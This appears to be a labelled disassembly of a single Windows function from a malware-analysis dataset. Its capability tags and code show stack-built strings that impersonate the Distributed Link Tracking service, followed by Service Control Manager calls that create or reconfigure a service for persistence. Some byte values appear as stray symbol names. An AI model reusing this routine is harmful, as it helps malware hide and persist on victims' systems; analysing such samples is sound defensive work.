Function at 0x180004d64
Capabilities:
Contain obfuscated stackstrings
Create service
Modify service
Persist via windows service

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x110
mov byte [rsp + 0x70], 0x44
mov byte [rsp + 0x71], 0x69
mov byte [rsp + 0x72], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x73], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x74], WSAStartup
mov byte [rsp + 0x75], 0x69
mov byte [rsp + 0x76], 0x62
mov byte [rsp + 0x77], 0x75
mov byte [rsp + 0x78], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x79], 0x65
mov byte [rsp + 0x7a], 0x64
mov byte [rsp + 0x7b], 0x20
mov byte [rsp + 0x7c], 0x4c
mov byte [rsp + 0x7d], 0x69
mov byte [rsp + 0x7e], WSAGetLastError
mov byte [rsp + 0x7f], WSAGetLastError
xor ebp, ebp
mov rsi, rdx
mov byte [rax + 0x20], 0x56
mov byte [rax + 0x21], 0x4d
mov byte [rax + 0x22], 0x54
mov rbx, rbp
mov byte [rax + 0x27], bpl
mov byte [rax - 0x88], bpl
mov byte [rax + 0x23], reloc.WS2_32.dll_WSAGetLastError
mov byte [rax + 0x24], reloc.WS2_32.dll_WSAGetLastError
mov byte [rax + 0x25], 0x49
mov byte [rax + 0x26], reloc.WS2_32.dll_WSAStartup
mov byte [rax - 0x98], 0x20
mov byte [rax - 0x97], 0x54
mov byte [rax - 0x96], 0x72
mov byte [rax - 0x95], 0x61
mov byte [rax - 0x94], 0x63
mov byte [rax - 0x93], 0x6b
mov byte [rax - 0x92], 0x69
mov byte [rax - 0x91], 0x6e
mov byte [rax - 0x90], 0x67
mov byte [rax - 0x8f], 0x20
mov byte [rax - 0x8e], 0x53
mov byte [rax - 0x8d], 0x65
mov byte [rax - 0x8c], 0x72
mov byte [rax - 0x8b], 0x76
mov byte [rax - 0x8a], 0x65
mov byte [rax - 0x89], 0x72
mov byte [rax - 0x78], 0x4d
mov byte [rax - 0x77], 0x61
mov byte [rax - 0x76], 0x69
mov byte [rax - 0x75], 0x6e
mov byte [rax - 0x74], 0x74
mov byte [rax - 0x73], 0x61
mov byte [rax - 0x72], 0x69
mov byte [rax - 0x71], 0x6e
mov byte [rax - 0x70], 0x73
mov byte [rax - 0x6f], 0x20
mov byte [rax - 0x6e], 0x6c
mov byte [rax - 0x6d], 0x69
mov byte [rax - 0x6c], 0x6e
mov byte [rax - 0x6b], 0x6b
mov byte [rax - 0x6a], 0x73
mov byte [rax - 0x69], 0x20
mov byte [rax - 0x68], 0x62
mov byte [rax - 0x67], 0x65
mov byte [rax - 0x66], 0x74
mov byte [rax - 0x65], 0x77
mov byte [rax - 0x64], 0x65
mov byte [rax - 0x63], 0x65
mov byte [rax - 0x62], 0x6e
mov byte [rax - 0x61], 0x20
mov byte [rax - 0x60], 0x4e
mov byte [rax - 0x5f], 0x54
mov byte [rax - 0x5e], 0x46
mov byte [rax - 0x5d], 0x53
mov byte [rax - 0x5c], 0x20
mov byte [rax - 0x5b], 0x66
mov byte [rax - 0x5a], 0x69
mov byte [rax - 0x59], 0x6c
mov byte [rax - 0x58], 0x65
mov byte [rax - 0x57], 0x73
mov byte [rax - 0x56], 0x20
mov byte [rax - 0x55], 0x77
mov byte [rax - 0x54], 0x69
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov byte [rax - 0x53], 0x74
mov byte [rax - 0x52], 0x68
mov byte [rax - 0x51], 0x69
mov byte [rax - 0x50], 0x6e
mov byte [rax - 0x4f], 0x20
mov byte [rax - 0x4e], 0x61
mov byte [rax - 0x4d], 0x20
mov byte [rax - 0x4c], 0x63
mov byte [rax - 0x4b], 0x6f
mov byte [rax - 0x4a], 0x6d
mov byte [rax - 0x49], 0x70
mov byte [rax - 0x48], 0x75
mov byte [rax - 0x47], 0x74
mov byte [rax - 0x46], 0x65
mov byte [rax - 0x45], 0x72
mov byte [rax - 0x44], 0x20
mov byte [rax - 0x43], 0x6f
mov byte [rax - 0x42], 0x72
mov byte [rax - 0x41], 0x20
mov byte [rax - 0x40], 0x61
mov byte [rax - 0x3f], 0x63
mov byte [rax - 0x3e], 0x72
mov byte [rax - 0x3d], 0x6f
mov byte [rax - 0x3c], 0x73
mov byte [rax - 0x3b], 0x73
mov byte [rax - 0x3a], 0x20
mov byte [rax - 0x39], 0x63
mov byte [rax - 0x38], 0x6f
mov byte [rax - 0x37], 0x6d
mov byte [rax - 0x36], 0x70
mov byte [rax - 0x35], 0x75
mov byte [rax - 0x34], 0x74
mov byte [rax - 0x33], 0x65
mov byte [rax - 0x32], 0x72
mov byte [rax - 0x31], 0x73
mov byte [rax - 0x30], 0x20
mov byte [rax - 0x2f], 0x69
mov byte [rax - 0x2e], 0x6e
mov byte [rax - 0x2d], 0x20
mov byte [rax - 0x2c], 0x61
mov byte [rax - 0x2b], 0x20
mov byte [rax - 0x2a], 0x6e
mov byte [rax - 0x29], 0x65
mov byte [rax - 0x28], 0x74
mov byte [rax - 0x27], 0x77
mov byte [rax - 0x26], 0x6f
mov byte [rax - 0x25], 0x72
mov byte [rax - 0x24], 0x6b
mov byte [rax - 0x23], 0x2e
mov byte [rax - 0x22], bpl
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
cmp rax, rbp
je 0x1800050b3
lea r8d, [rbp + 0x13]
lea rdx, [rsp + 0x138]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
cmp rax, rbp
je 0x180005037
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
lea edx, [rbp + 0x10]
lea r8d, [rbp + 2]
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
jmp 0x1800050b3
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], ebp
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x138]
mov r9d, 0xf01ff
mov rcx, rdi
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rbx, rax
cmp rax, rbp
je 0x1800050b3
lea rax, [rsp + 0xa0]
lea r8, [rsp + 0x100]
mov edx, 1
mov rcx, rbx
mov qword [rsp + 0x100], rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp rbx, rbp
je 0x1800050c9
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp rdi, rbp
je 0x1800050d7
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea r11, [rsp + 0x110]
mov eax, esi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret